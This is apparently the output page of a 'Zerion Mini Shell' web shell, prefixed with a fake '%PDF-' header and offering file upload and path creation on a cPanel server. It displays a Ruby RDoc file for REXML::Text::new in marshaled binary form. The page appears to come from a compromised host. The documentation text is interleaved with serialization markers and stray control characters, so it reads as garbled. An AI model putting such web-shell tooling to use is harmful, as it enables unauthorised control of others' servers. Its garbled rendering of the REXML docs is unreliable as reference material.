%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/REXML/Text/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/REXML/Text/new-c.ri

U:RDoc::AnyMethod[iI"new:ETI"REXML::Text::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"Constructor ;TI"F+arg+ if a String, the content is set to the String.  If a Text, ;TI"$the object is shallowly cloned.;To:RDoc::Markup::BlankLineo;
;	[I"B+respect_whitespace+ (boolean, false) if true, whitespace is ;TI"respected;T@o;
;	[I";+parent+ (nil) if this is a Parent object, the parent ;TI"will be set to this.;T@o;
;	[I":+raw+ (nil) This argument can be given three values. ;TI"MIf true, then the value of used to construct this object is expected to ;TI"Mcontain no unescaped XML markup, and REXML will not change the text. If ;TI"Pthis value is false, the string may contain any characters, and REXML will ;TI"Kescape any and all defined entities whose values are contained in the ;TI"Jtext.  If this value is nil (the default), then the raw value of the ;TI"Mparent will be used as the raw value for this node.  If there is no raw ;TI"Kvalue for the parent, and no value is supplied, the default is false. ;TI"NUse this field if you have entities defined for some text, and you don't ;TI".want REXML to escape that text in output.;To:RDoc::Markup::Verbatim;	[
I"9Text.new( "<&", false, nil, false ) #-> "&lt;&amp;"
;TI"HText.new( "&lt;&amp;", false, nil, false ) #-> "&amp;lt;&amp;amp;"
;TI"=Text.new( "<&", false, nil, true )  #-> Parse exception
;TI"@Text.new( "&lt;&amp;", false, nil, true )  #-> "&lt;&amp;"
;TI":# Assume that the entity "s" is defined to be "sean"
;TI"=# and that the entity    "r" is defined to be "russell"
;TI"7Text.new( "sean russell" )          #-> "&s; &r;"
;TI"EText.new( "sean russell", false, nil, true ) #-> "sean russell"
;T:@format0o;
;	[I"L+entity_filter+ (nil) This can be an array of entities to match in the ;TI"Ksupplied text.  This argument is only useful if +raw+ is set to false.;To;;	[I"LText.new( "sean russell", false, nil, false, ["s"] ) #-> "&s; russell"
;TI"LText.new( "sean russell", false, nil, true, ["s"] ) #-> "sean russell"
;T;
0o;
;	[I"BIn the last example, the +entity_filter+ argument is ignored.;T@o;
;	[I" +illegal+ INTERNAL USE ONLY;T:
@fileI"lib/rexml/text.rb;T:0@omit_headings_from_table_of_contents_below000[I"k(arg, respect_whitespace=false, parent=nil, raw=nil, entity_filter=nil, illegal=NEEDS_A_SECOND_CHECK );T@=TI"	Text;TcRDoc::NormalClass00

Zerion Mini Shell 1.0